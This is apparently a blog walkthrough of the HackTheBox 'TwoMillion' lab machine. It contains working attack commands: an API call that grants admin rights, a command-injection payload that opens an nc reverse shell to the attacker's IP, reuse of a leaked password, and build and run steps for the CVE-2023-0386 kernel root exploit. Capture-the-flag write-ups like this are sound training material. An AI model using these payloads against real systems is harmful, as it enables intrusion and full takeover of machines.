MediumTwoMillion HTB Walkthrough. 1. Enumeration | by Moizhanif | Medium
Sitemap

TwoMillion HTB Walkthrough

5 min readMay 18, 2026

--

1. Enumeration

Start with a full port scan using Nmap:

nmap -sCV -p- 10.129.229.66

Results:

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/

Two open ports — SSH and HTTP. The web server redirects to http://2million.htb/, so add it to /etc/hosts:

echo "10.129.229.66 2million.htb" | sudo tee -a /etc/hosts
Press enter or click to view image in full size

2. Web Enumeration

Fuzz the web application for endpoints:

ffuf -u http://2million.htb/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
-fc 301,302

Discovered endpoints:

EndpointStatusNotes/register200Registration page/login200Login page/api401API — requires auth/invite200Invite code entry point

The /invite page is the key entry point — it replicates the original HackTheBox invite-only registration flow.

Press enter or click to view image in full size

3. Invite Code Challenge

Step 1 — Discover the JavaScript

Inspect the page source for JavaScript files:

curl -s http://2million.htb/invite | grep -i script
Press enter or click to view image in full size

Output reveals inviteapi.min.js. Fetch it:

curl -s http://2million.htb/js/inviteapi.min.js

The script is obfuscated using the P,A,C,K,E,D technique — a compression/obfuscation method that replaces identifiers with base-36 encoded numbers and rebuilds them at runtime via eval(). Decoding it (by replacing eval( with console.log( in the browser console) reveals two functions:

function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) { console.log(response) },
error: function(response) { console.log(response) }
})
}
function verifyInviteCode(code) {
var formData = {"code": code};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) { console.log(response) },
error: function(response) { console.log(response) }
})
}

Step 2 — Get generation instructions

curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | python3 -m json.tool

Response:

{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
}

Step 3 — ROT13 decode

echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Result: In order to generate the invite code, make a POST request to /api/v1/invite/generate

Step 4 — Generate the invite code

curl -s -X POST http://2million.htb/api/v1/invite/generate | python3 -m json.tool

Response:

{
"data": {
"code": "Uzk2VEktOURGOVMtTklYSTYtWExOMjA=",
"format": "encoded"
}
}

Step 5 — Base64 decode

echo "Uzk2VEktOURGOVMtTklYSTYtWExOMjA=" | base64 -d

Result: S96TI-9DF9S-NIXI6-XLN20 (your code will differ)

4. Registration & Authentication

Navigate to http://2million.htb/invite, enter the invite code, and register an account. After logging in, the dashboard at /home becomes accessible.

Get Moizhanif’s stories in your inbox

Join Medium for free to get updates from this writer.

To grab the session cookie for API interaction:

curl -s -X POST http://2million.htb/api/v1/user/login \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"yourpassword"}' \
-c cookies.txt

Or copy the PHPSESSID value from browser DevTools → Application → Cookies.

5. API Enumeration

With a valid session cookie, enumerate the full API:

curl -s http://2million.htb/api/v1 -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.tool

Full API map:

{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}

Confirm current admin status (should be false):

curl -s http://2million.htb/api/v1/admin/auth -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.tool

6. Privilege Escalation to Admin

The PUT /api/v1/admin/settings/update endpoint allows updating is_admin without any server-side authorisation check:

curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -b "PHPSESSID=YOUR_COOKIE" -H "Content-Type: application/json" -d '{"email":"test@test.com","is_admin":1}' | python3 -m json.tool

Response:

{
"id": 13,
"username": "test",
"is_admin": 1
}

Verify:

curl -s http://2million.htb/api/v1/admin/auth -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.tool
# {"message": true}

7. Command Injection — Initial Foothold

The POST /api/v1/admin/vpn/generate endpoint passes the username parameter unsanitised to a shell command, enabling OS command injection.

Set up the listener:

nc -lvnp 4444

Send the payload:

curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -b "PHPSESSID=YOUR_COOKIE" -H "Content-Type: application/json" -d '{"username":"test;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.155 4444 >/tmp/f;"}'

A shell is returned as www-data. Upgrade to a stable TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

8. Lateral Movement — SSH as Admin

Search for sensitive configuration files:

cat /var/www/html/.env

Output:

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

The database password is reused for the system admin account. SSH in directly:

ssh admin@10.129.229.66
# Password: SuperDuperPass123

Retrieve the user flag:

cat ~/user.txt

9. Privilege Escalation to Root — CVE-2023–0386

Identifying the Vector

Check for hints in the admin mailbox:

cat /var/mail/admin

The mail from ch4p references serious Linux kernel CVEs, specifically mentioning OverlayFS / FUSE. Check the kernel version:

uname -a
# Linux 2million 5.15.70-051570-generic

Kernel 5.15.70 is vulnerable to CVE-2023-0386, an OverlayFS privilege escalation affecting Ubuntu 22.04 kernels before 6.2. The vulnerability allows an unprivileged user to copy a file with SUID capabilities into an OverlayFS mount, which the kernel then honours with elevated permissions.

Compiling the Exploit

The target has no internet access. Compile on the attack box:

# Clone the PoC
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
# Download required libraries (Ubuntu 22.04 versions)
wget "http://archive.ubuntu.com/ubuntu/pool/main/f/fuse/libfuse-dev_2.9.9-5ubuntu3_amd64.deb"
wget "http://archive.ubuntu.com/ubuntu/pool/main/f/fuse/libfuse2_2.9.9-5ubuntu3_amd64.deb"
wget "http://archive.ubuntu.com/ubuntu/pool/main/libc/libcap2/libcap-dev_2.44-1ubuntu0.22.04.3_amd64.deb"
# Extract headers and libraries
dpkg -x libfuse-dev_2.9.9-5ubuntu3_amd64.deb libfuse-dev
dpkg -x libfuse2_2.9.9-5ubuntu3_amd64.deb libfuse2
dpkg -x libcap-dev_2.44-1ubuntu0.22.04.3_amd64.deb libcap-dev
# Compile
gcc exp.c -o exp -pthread -lcap \
-I./libfuse-dev/usr/include \
-I./libcap-dev/usr/include \
-L./libcap-dev/usr/lib/x86_64-linux-gnu
gcc getshell.c -o getshellgcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -pthread \
-I./libfuse-dev/usr/include \
-I./libfuse-dev/usr/include/fuse \
./libfuse2/lib/x86_64-linux-gnu/libfuse.so.2 -ldl
# Serve the binaries
python3 -m http.server 8080

Transferring to Target

cd ~
wget http://10.10.14.155:8080/exp
wget http://10.10.14.155:8080/fuse
wget http://10.10.14.155:8080/getshell
chmod +x exp fuse getshell
mkdir -p ovlcap/lower
cp getshell gc

Running the Exploit

Note: /tmp and /dev/shm have the nosuid mount option — run everything from the home directory (~) which is on the main ext4 filesystem.

SSH Terminal 1 — start the FUSE filesystem:

cd ~ && ./fuse ./ovlcap/lower ./gc

Leave this running. The FUSE process serves the getshell binary content when the kernel accesses the file through the overlay.

SSH Terminal 2 — trigger the exploit:

cd ~ && ./exp

When you see [+] exploit success! and the file shows -rwsrwxrwx, execute it:

./ovlcap/lower/file
whoami
# root

--

--